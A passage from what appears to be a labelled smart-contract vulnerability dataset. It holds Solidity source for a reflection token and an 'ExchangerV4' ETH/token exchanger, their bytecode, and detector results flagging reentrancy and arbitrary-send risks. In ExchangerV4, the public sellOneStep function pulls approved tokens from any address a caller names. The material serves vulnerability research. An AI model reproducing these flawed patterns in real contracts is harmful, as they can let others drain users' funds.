(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _progeEthBurn(uint amount) private returns (uint, uint) {
uint orgAmount = amount;
uint256 currentRate = _getRate();
uint256 tBurn = amount.mul(_progeBurn).div(100);
uint256 rBurn = tBurn.mul(currentRate);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
_progeBurned = _progeBurned.add(tBurn);
return (orgAmount, tBurn);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _contractFee, tBurn);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHforRoge(uint ethAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(ROGE);
_approve(address(this), address(uniswapV2Router), ethAmount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(animalSanctuary),block.timestamp);
}
function distributeETH(uint256 amount) private {
_presa.transfer(amount.div(8));
_rogeTreasury.transfer(amount.div(4));
}
receive() external payable {}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a771ebc71161008a578063dd62ed3e11610064578063dd62ed3e146104be578063e8078d94146104f9578063f275f64b1461050e578063f89ff9021461053a57610171565b8063a771ebc714610446578063a9059cbb1461045b578063d543dbeb1461049457610171565b806370a08231146103aa578063715018a6146103dd5780637a32bae4146103f25780638da5cb5b1461040757806395d89b411461041c578063a2b174121461043157610171565b8063313ce56711610123578063313ce5671461031657806332976a251461034157806349abb68e1461035657806349bd5a5e1461036b5780636a66e9e3146103805780636ddd17131461039557610171565b806306fdde0314610176578063095ea7b3146102005780630db474fa1461024d57806310336de01461027b57806318160ddd146102ac57806323b872dd146102d357610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610564565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020c57600080fd5b506102396004803603604081101561022357600080fd5b506001600160a01b038135169060200135610583565b604080519115158252519081900360200190f35b34801561025957600080fd5b506102796004803603602081101561027057600080fd5b503515156105a1565b005b34801561028757600080fd5b50610290610617565b604080516001600160a01b039092168252519081900360200190f35b3480156102b857600080fd5b506102c1610626565b60408051918252519081900360200190f35b3480156102df57600080fd5b50610239600480360360608110156102f657600080fd5b506001600160a01b0381358116916020810135909116906040013561062c565b34801561032257600080fd5b5061032b6106b3565b6040805160ff9092168252519081900360200190f35b34801561034d57600080fd5b506102c16106b8565b34801561036257600080fd5b506102906106be565b34801561037757600080fd5b506102906106cd565b34801561038c57600080fd5b506102796106dc565b3480156103a157600080fd5b50610239610741565b3480156103b657600080fd5b506102c1600480360360208110156103cd57600080fd5b50356001600160a01b0316610751565b3480156103e957600080fd5b50610279610773565b3480156103fe57600080fd5b50610239610815565b34801561041357600080fd5b50610290610825565b34801561042857600080fd5b5061018b610834565b34801561043d57600080fd5b50610279610853565b34801561045257600080fd5b506102396108c1565b34801561046757600080fd5b506102396004803603604081101561047e57600080fd5b506001600160a01b0381351690602001356108d1565b3480156104a057600080fd5b50610279600480360360208110156104b757600080fd5b50356108e5565b3480156104ca57600080fd5b506102c1600480360360408110156104e157600080fd5b506001600160a01b03813581169160200135166109ec565b34801561050557600080fd5b50610279610a17565b34801561051a57600080fd5b506102796004803603602081101561053157600080fd5b50351515610da7565b34801561054657600080fd5b506102796004803603602081101561055d57600080fd5b5035610e33565b604080518082019091526005815264045524332360dc1b602082015290565b6000610597610590610e94565b8484610e98565b5060015b92915050565b6105a9610e94565b6000546001600160a01b039081169116146105f9576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b600f8054911515600160c01b0260ff60c01b19909216919091179055565b600c546001600160a01b031681565b60045490565b6000610639848484610f84565b6106a984610645610e94565b6106a485604051806060016040528060288152602001611d5c602891396001600160a01b038a16600090815260086020526040812090610683610e94565b6001600160a01b031681526020810191909152604001600020549190611262565b610e98565b5060019392505050565b600990565b60075481565b600d546001600160a01b031681565b600f546001600160a01b031681565b6106e4610e94565b6000546001600160a01b03908116911614610734576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b4761073e816112f9565b50565b600f54600160b81b900460ff1681565b6001600160a01b03811660009081526002602052604081205461059b90611382565b61077b610e94565b6000546001600160a01b039081169116146107cb576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f54600160a01b900460ff1681565b6000546001600160a01b031690565b604080518082019091526005815264065726332360dc1b602082015290565b61085b610e94565b6000546001600160a01b039081169116146108ab576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b60006108b630610751565b905061073e816113e2565b600f54600160c01b900460ff1681565b60006105976108de610e94565b8484610f84565b6108ed610e94565b6000546001600160a01b0390811691161461093d576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b60008111610992576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b6109b260646109ac836004546115b190919063ffffffff16565b9061160a565b601081905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610a1f610e94565b6000546001600160a01b03908116911614610a6f576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117918290556004549091610ab39130916001600160a01b031690610e98565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610aec57600080fd5b505afa158015610b00573d6000803e3d6000fd5b505050506040513d6020811015610b1657600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b6657600080fd5b505afa158015610b7a573d6000803e3d6000fd5b505050506040513d6020811015610b9057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610be257600080fd5b505af1158015610bf6573d6000803e3d6000fd5b505050506040513d6020811015610c0c57600080fd5b5051600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610c3e81610751565b600080610c49610825565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610cb457600080fd5b505af1158015610cc8573d6000803e3d6000fd5b50505050506040513d6060811015610cdf57600080fd5b5050600f805460ff60c01b1960ff60a81b1960ff60b81b19909216600160b81b1791909116600160a81b1716600160c01b1790819055670de0b6b3a7640000601055600e546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d7857600080fd5b505af1158015610d8c573d6000803e3d6000fd5b505050506040513d6020811015610da257600080fd5b505050565b610daf610e94565b6000546001600160a01b03908116911614610dff576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b600f54600160a81b900460ff16610e1557600080fd5b600f8054911515600160a01b0260ff60a01b19909216919091179055565b610e3b610e94565b6000546001600160a01b03908116911614610e8b576040805162461bcd60e51b81526020600482018190526024820152600080516020611d84833981519152604482015290519081900360640190fd5b61073e8161164c565b3390565b6001600160a01b038316610edd5760405162461bcd60e51b8152600401808060200182810382526024815260200180611df26024913960400191505060405180910390fd5b6001600160a01b038216610f225760405162461bcd60e51b8152600401808060200182810382526022815260200180611d196022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fc95760405162461bcd60e51b8152600401808060200182810382526025815260200180611dcd6025913960400191505060405180910390fd5b6001600160a01b03821661100e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ccc6023913960400191505060405180910390fd5b6000811161104d5760405162461bcd60e51b8152600401808060200182810382526029815260200180611da46029913960400191505060405180910390fd5b611055610825565b6001600160a01b0316836001600160a01b03161415801561108f5750611079610825565b6001600160a01b0316826001600160a01b031614155b156111f057600f546001600160a01b0384811691161480156110bf5750600e546001600160a01b03838116911614155b80156110e457506001600160a01b03821660009081526009602052604090205460ff16155b1561112f57600f54600160a01b900460ff166110ff57600080fd5b60105481111561110e57600080fd5b60096012556002601155600160135547801561112d5761112d4761164c565b505b600061113a30610751565b600f54909150600160b01b900460ff161580156111655750600f546001600160a01b03858116911614155b801561117a5750600f54600160b81b900460ff165b156111ee57600f546111a8906064906109ac906003906111a2906001600160a01b0316610751565b906115b1565b82111580156111b957506010548211155b6111c257600080fd5b476111cc826113e2565b4760006111d98284611805565b905080156111ea576111ea816112f9565b5050505b505b6001600160a01b03831660009081526009602052604090205460019060ff168061123257506001600160a01b03831660009081526009602052604090205460ff165b806112475750600f54600160c01b900460ff16155b15611250575060005b61125c84848484611847565b50505050565b600081848411156112f15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112b657818101518382015260200161129e565b50505050905090810190601f1680156112e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc61131383600861160a565b6040518115909202916000818181858888f1935050505015801561133b573d6000803e3d6000fd5b50600b546001600160a01b03166108fc61135683600461160a565b6040518115909202916000818181858888f1935050505015801561137e573d6000803e3d6000fd5b5050565b60006005548211156113c55760405162461bcd60e51b815260040180806020018281038252602a815260200180611cef602a913960400191505060405180910390fd5b60006113cf611878565b90506113db838261160a565b9392505050565b600f805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142457fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561147857600080fd5b505afa15801561148c573d6000803e3d6000fd5b505050506040513d60208110156114a257600080fd5b50518151829060019081106114b357fe5b6001600160a01b039283166020918202929092010152600e546114d99130911684610e98565b600e5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561155f578181015183820152602001611547565b505050509050019650505050505050600060405180830381600087803b15801561158857600080fd5b505af115801561159c573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b6000826115c05750600061059b565b828202828482816115cd57fe5b04146113db5760405162461bcd60e51b8152600401808060200182810382526021815260200180611d3b6021913960400191505060405180910390fd5b60006113db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189b565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156116b157600080fd5b505afa1580156116c5573d6000803e3d6000fd5b505050506040513d60208110156116db57600080fd5b5051815182906000906116ea57fe5b6001600160a01b039283166020918202929092010152600c5482519116908290600190811061171557fe5b6001600160a01b039283166020918202929092010152600e5461173b9130911684610e98565b600e54600d5460405163b6f9de9560e01b8152600481018581526001600160a01b03928316604483018190524260648401819052608060248501908152875160848601528751959096169563b6f9de9595899586958a9594939092909160a401906020808801910280838360005b838110156117c15781810151838201526020016117a9565b50505050905001955050505050506000604051808303818588803b1580156117e857600080fd5b505af11580156117fc573d6000803e3d6000fd5b50505050505050565b60006113db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611262565b8061185457611854611900565b61185f848484611938565b8061125c5761125c600260115560096012556001601355565b6000806000611885611a52565b9092509050611894828261160a565b9250505090565b600081836118ea5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112b657818101518382015260200161129e565b5060008385816118f657fe5b0495945050505050565b6011541580156119105750601254155b801561191c5750601354155b1561192657611936565b6000601181905560128190556013555b565b60008061194483611a89565b9150915060008060008060008061195b8888611b02565b95509550955095509550955061199f86600260008e6001600160a01b03166001600160a01b031681526020019081526020016000205461180590919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c16815220546119ce9086611b61565b6001600160a01b038b166000908152600260205260409020556119f081611bbb565b6119fa8483611c05565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b6005546004546000918291611a67828261160a565b821015611a7f57600554600454935093505050611a85565b90925090505b9091565b6000808281611a96611878565b90506000611ab460646109ac601354896115b190919063ffffffff16565b90506000611ac282846115b1565b600454909150611ad29083611805565b600455600554611ae29082611805565b600555600754611af29083611b61565b6007555091935090915050915091565b6000806000806000806000806000611b208b6011546012548d611c29565b9250925092506000611b30611878565b90506000806000611b438f878787611c7b565b919e509c509a50959850939650919450505050509295509295509295565b6000828201838110156113db576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611bc5611878565b90506000611bd383836115b1565b30600090815260026020526040902054909150611bf09082611b61565b30600090815260026020526040902055505050565b600554611c129083611805565b600555600654611c229082611b61565b6006555050565b6000808080611c3d60646109ac8a8a6115b1565b90506000611c5060646109ac8b8a6115b1565b90506000611c6a87611c6484818e88611805565b90611805565b9a9299509097509095505050505050565b6000808080611c8a88866115b1565b90506000611c9888876115b1565b90506000611ca688886115b1565b90506000611cb882611c648686611805565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209b98735a343802b0137f29dc59241f88c862fe8b36828e168e5666d74032961964736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,719 |
0xdba918fb5d29d204d101fe6da4f676449c7d15b8
|
pragma solidity ^0.4.24;
interface IExchangeFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) external view returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) external view returns (uint256);
}
interface ITradeableAsset {
function totalSupply() external view returns (uint256);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function decimals() external view returns (uint256);
function transfer(address _to, uint256 _value) external;
function balanceOf(address _address) external view returns (uint256);
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
/* A basic permissions hierarchy (Owner -> Admin -> Everyone else). One owner may appoint and remove any number of admins
and may transfer ownership to another individual address */
contract Administered {
address public creator;
mapping (address => bool) public admins;
constructor() public {
creator = msg.sender;
admins[creator] = true;
}
//Restrict to the current owner. There may be only 1 owner at a time, but
//ownership can be transferred.
modifier onlyOwner {
require(creator == msg.sender);
_;
}
//Restrict to any admin. Not sufficient for highly sensitive methods
//since basic admin can be granted programatically regardless of msg.sender
modifier onlyAdmin {
require(admins[msg.sender] || creator == msg.sender);
_;
}
//Add an admin with basic privileges. Can be done by any superuser (or the owner)
function grantAdmin(address newAdmin) onlyOwner public {
_grantAdmin(newAdmin);
}
function _grantAdmin(address newAdmin) internal
{
admins[newAdmin] = true;
}
//Transfer ownership
function changeOwner(address newOwner) onlyOwner public {
creator = newOwner;
}
//Remove an admin
function revokeAdminStatus(address user) onlyOwner public {
admins[user] = false;
}
}
/* A liqudity pool that executes buy and sell orders for an ETH / Token Pair */
/* The owner deploys it and then adds tokens / ethereum in the desired ratio */
contract ExchangerV4 is Administered, tokenRecipient {
bool public enabled = false; //Owner can turn off and on
//The token which is being bought and sold
ITradeableAsset public tokenContract;
//The contract that does the calculations to determine buy and sell pricing
IExchangeFormula public formulaContract;
//The reserve pct of this exchanger, expressed in ppm
uint32 public weight;
//The fee, in ppm
uint32 public fee=5000; //0.5%
//The portion of the total supply that is not currently (e.g. not yet issued) or not ever (e.g. burned) in circulation
//The formula calculates prices based on a circulating supply which is: total supply - uncirculated supply - reserve supply (balance of exchanger)
uint256 public uncirculatedSupplyCount=0;
//Accounting for the fees
uint256 public collectedFees=0;
//If part of the ether reserve is stored offsite for security reasons this variable holds that value
uint256 public virtualReserveBalance=0;
//Prevent the eth balance to be lover than a set value
//The min Eth reserve amount
uint256 public minReserve=0; //
/**
@dev Deploys an exchanger contract for a given token / Ether pairing
@param _token An ERC20 token
@param _weight The reserve fraction of this exchanger, in ppm
@param _formulaContract The contract with the algorithms to calculate price
*/
constructor(address _token,
uint32 _weight,
address _formulaContract) {
require (_weight > 0 && weight <= 1000000);
weight = _weight;
tokenContract = ITradeableAsset(_token);
formulaContract = IExchangeFormula(_formulaContract);
}
//Events raised on completion of buy and sell orders.
//The web client can use this info to provide users with their trading history for a given token
//and also to notify when a trade has completed.
event Buy(address indexed purchaser, uint256 amountInWei, uint256 amountInToken);
event Sell(address indexed seller, uint256 amountInToken, uint256 amountInWei);
/**
@dev Deposit tokens to the reserve.
*/
function depositTokens(uint amount) onlyOwner public {
tokenContract.transferFrom(msg.sender, this, amount);
}
/**
@dev Deposit ether to the reserve
*/
function depositEther() onlyOwner public payable {
//return getQuotePrice();
}
/**
@dev Withdraw tokens from the reserve
*/
function withdrawTokens(uint amount) onlyOwner public {
tokenContract.transfer(msg.sender, amount);
}
/**
@dev Withdraw ether from the reserve
*/
function withdrawEther(uint amountInWei) onlyOwner public {
msg.sender.transfer(amountInWei); //Transfers in wei
}
/**
@dev Withdraw accumulated fees, without disturbing the core reserve
*/
function extractFees(uint amountInWei) onlyAdmin public {
require (amountInWei <= collectedFees);
msg.sender.transfer(amountInWei);
}
/**
@dev Enable trading
*/
function enable() onlyAdmin public {
enabled = true;
}
/**
@dev Disable trading
*/
function disable() onlyAdmin public {
enabled = false;
}
/**
@dev Play central banker and set the fractional reserve ratio, from 1 to 1000000 ppm.
It is highly disrecommended to do this while trading is enabled! Obviously this should
only be done in combination with a matching deposit or withdrawal of ether,
and I'll enforce it at a later point.
*/
function setReserveWeight(uint ppm) onlyAdmin public {
require (ppm>0 && ppm<=1000000);
weight = uint32(ppm);
}
function setFee(uint ppm) onlyAdmin public {
require (ppm >= 0 && ppm <= 1000000);
fee = uint32(ppm);
}
/* The number of tokens that are burned, unissued, or otherwise not in circulation */
function setUncirculatedSupplyCount(uint newValue) onlyAdmin public {
require (newValue > 0);
uncirculatedSupplyCount = uint256(newValue);
}
/**
* The virtual reserve balance set here is added on to the actual ethereum balance of this contract
* when calculating price for buy/sell. Note that if you have no real ether in the reserve, you will
* not have liquidity for sells until you have some buys first.
*/
function setVirtualReserveBalance(uint256 amountInWei) onlyAdmin public {
virtualReserveBalance = amountInWei;
}
function setMinReserve(uint256 amountInWei) onlyAdmin public {
minReserve = amountInWei;
}
//These methods return information about the exchanger, and the buy / sell rates offered on the Token / ETH pairing.
//They can be called without gas from any client.
/**
@dev Audit the reserve balances, in the base token and in ether
returns: [token balance, ether balance - ledger]
*/
function getReserveBalances() public view returns (uint256, uint256) {
return (tokenContract.balanceOf(this), address(this).balance+virtualReserveBalance);
}
/**
@dev Get the BUY price based on the order size. Returned as the number of tokens that the amountInWei will buy.
*/
function getPurchasePrice(uint256 amountInWei) public view returns(uint) {
uint256 purchaseReturn = formulaContract.calculatePurchaseReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
amountInWei
);
purchaseReturn = (purchaseReturn - ((purchaseReturn * fee) / 1000000));
if (purchaseReturn > tokenContract.balanceOf(this)){
return tokenContract.balanceOf(this);
}
return purchaseReturn;
}
/**
@dev Get the SELL price based on the order size. Returned as amount (in wei) that you'll get for your tokens.
*/
function getSalePrice(uint256 tokensToSell) public view returns(uint) {
uint256 saleReturn = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
tokensToSell
);
saleReturn = (saleReturn - ((saleReturn * fee) / 1000000));
if (saleReturn > address(this).balance) {
return address(this).balance;
}
return saleReturn;
}
//buy and sell execute live trades against the exchanger. For either method,
//you must specify your minimum return (in total tokens or ether that you expect to receive for your trade)
//this protects the trader against slippage due to other orders that make it into earlier blocks after they
//place their order.
//
//With buy, send the amount of ether you want to spend on the token - you'll get it back immediately if minPurchaseReturn
//is not met or if this Exchanger is not in a condition to service your order (usually this happens when there is not a full
//reserve of tokens to satisfy the stated weight)
//
//With sell, first approve the exchanger to spend the number of tokens you want to sell
//Then call sell with that number and your minSaleReturn. The token transfer will not happen
//if the minSaleReturn is not met.
//
//Sales always go through, as long as there is any ether in the reserve... but those dumping massive quantities of tokens
//will naturally be given the shittest rates.
/**
@dev Buy tokens with ether.
@param minPurchaseReturn The minimum number of tokens you will accept.
*/
function buy(uint minPurchaseReturn) public payable {
uint amount = formulaContract.calculatePurchaseReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
(address(this).balance + virtualReserveBalance) - msg.value,
weight,
msg.value);
amount = (amount - ((amount * fee) / 1000000));
//Now do the trade if conditions are met
require (enabled); // ADDED SEMICOLON
require (amount >= minPurchaseReturn);
require (tokenContract.balanceOf(this) >= amount);
//Accounting - so we can pull the fees out without changing the balance
collectedFees += (msg.value * fee) / 1000000;
emit Buy(msg.sender, msg.value, amount);
tokenContract.transfer(msg.sender, amount);
}
/**
@dev Sell tokens for ether
@param quantity Number of tokens to sell
@param minSaleReturn Minimum amount of ether (in wei) you will accept for your tokens
*/
function sell(uint quantity, uint minSaleReturn) public {
uint amountInWei = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply()- uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
quantity
);
amountInWei = (amountInWei - ((amountInWei * fee) / 1000000));
require (enabled); // ADDED SEMICOLON
require (amountInWei >= minSaleReturn);
require (amountInWei <= address(this).balance);
require (address(this).balance - amountInWei > minReserve);
require (tokenContract.transferFrom(msg.sender, this, quantity));
collectedFees += (amountInWei * fee) / 1000000;
emit Sell(msg.sender, quantity, amountInWei);
msg.sender.transfer(amountInWei); //Always send ether last
}
//approveAndCall flow for selling entry point
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external {
//not needed: if it was the wrong token, the tx fails anyways require(_token == address(tokenContract));
sellOneStep(_value, 0, _from);
}
//Variant of sell for one step ordering. The seller calls approveAndCall on the token
//which calls receiveApproval above, which calls this funciton
function sellOneStep(uint quantity, uint minSaleReturn, address seller) public {
uint amountInWei = formulaContract.calculateSaleReturn(
(tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this),
address(this).balance + virtualReserveBalance,
weight,
quantity
);
amountInWei = (amountInWei - ((amountInWei * fee) / 1000000));
require (enabled); // ADDED SEMICOLON
require (amountInWei >= minSaleReturn);
require (amountInWei <= address(this).balance);
require (address(this).balance - amountInWei > minReserve);
require (tokenContract.transferFrom(seller, this, quantity));
collectedFees += (amountInWei * fee) / 1000000;
emit Sell(seller, quantity, amountInWei);
seller.transfer(amountInWei); //Always send ether last
}
}
|
0x6080604052600436106101875763ffffffff60e060020a60003504166302d05d3f811461018c578063185d1af6146101bd5780631b4a2001146101d7578063238dafe0146101fe5780632f2770db14610227578063315a095d1461023c57806335bb3e16146102545780633bed33ce146102755780633deb91c71461028d57806341ef6bb7146102a5578063429b62e5146102ba57806355a373d6146102db5780635cc5ca50146102f057806363f8a2111461030557806369fe0e2d1461032c57806377d56a04146103445780638e068b11146103725780638f4ffcb1146103875780639003adfe146103bf57806398ea5fca146103d4578063a1aab33f146103dc578063a3907d711461040a578063a6f9dae11461041f578063b9c8464d14610440578063bd8caabf14610458578063c59d563314610470578063d79875eb14610488578063d96a094a146104a3578063dd49756e146104ae578063ddca3f43146104c6578063eff841d1146104db578063f8eb5fc5146104f3578063fa62a1ff1461050b575b600080fd5b34801561019857600080fd5b506101a161052c565b60408051600160a060020a039092168252519081900360200190f35b3480156101c957600080fd5b506101d560043561053b565b005b3480156101e357600080fd5b506101ec610580565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610586565b604080519115158252519081900360200190f35b34801561023357600080fd5b506101d561058f565b34801561024857600080fd5b506101d56004356105ce565b34801561026057600080fd5b506101d5600160a060020a0360043516610670565b34801561028157600080fd5b506101d5600435610693565b34801561029957600080fd5b506101d56004356106db565b3480156102b157600080fd5b506101ec610713565b3480156102c657600080fd5b50610213600160a060020a0360043516610719565b3480156102e757600080fd5b506101a161072e565b3480156102fc57600080fd5b506101a1610742565b34801561031157600080fd5b506101d5600435602435600160a060020a0360443516610751565b34801561033857600080fd5b506101d5600435610aa3565b34801561035057600080fd5b50610359610b33565b6040805192835260208301919091528051918290030190f35b34801561037e57600080fd5b506101ec610bc6565b34801561039357600080fd5b506101d560048035600160a060020a039081169160248035926044351691606435918201910135610bcc565b3480156103cb57600080fd5b506101ec610bd8565b6101d5610bde565b3480156103e857600080fd5b506103f1610bf7565b6040805163ffffffff9092168252519081900360200190f35b34801561041657600080fd5b506101d5610c0a565b34801561042b57600080fd5b506101d5600160a060020a0360043516610c4c565b34801561044c57600080fd5b506101d5600435610c92565b34801561046457600080fd5b506101d5600435610cd4565b34801561047c57600080fd5b506101ec600435610d0c565b34801561049457600080fd5b506101d5600435602435610fea565b6101d560043561132c565b3480156104ba57600080fd5b506101d5600435611689565b3480156104d257600080fd5b506103f1611746565b3480156104e757600080fd5b506101d5600435611759565b3480156104ff57600080fd5b506101ec6004356117e1565b34801561051757600080fd5b506101d5600160a060020a03600435166119b5565b600054600160a060020a031681565b3360009081526001602052604090205460ff16806105635750600054600160a060020a031633145b151561056e57600080fd5b6000811161057b57600080fd5b600455565b60075481565b60025460ff1681565b3360009081526001602052604090205460ff16806105b75750600054600160a060020a031633145b15156105c257600080fd5b6002805460ff19169055565b600054600160a060020a031633146105e557600080fd5b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051610100909204600160a060020a03169163a9059cbb9160448082019260009290919082900301818387803b15801561065557600080fd5b505af1158015610669573d6000803e3d6000fd5b5050505050565b600054600160a060020a0316331461068757600080fd5b610690816119ed565b50565b600054600160a060020a031633146106aa57600080fd5b604051339082156108fc029083906000818181858888f193505050501580156106d7573d6000803e3d6000fd5b5050565b3360009081526001602052604090205460ff16806107035750600054600160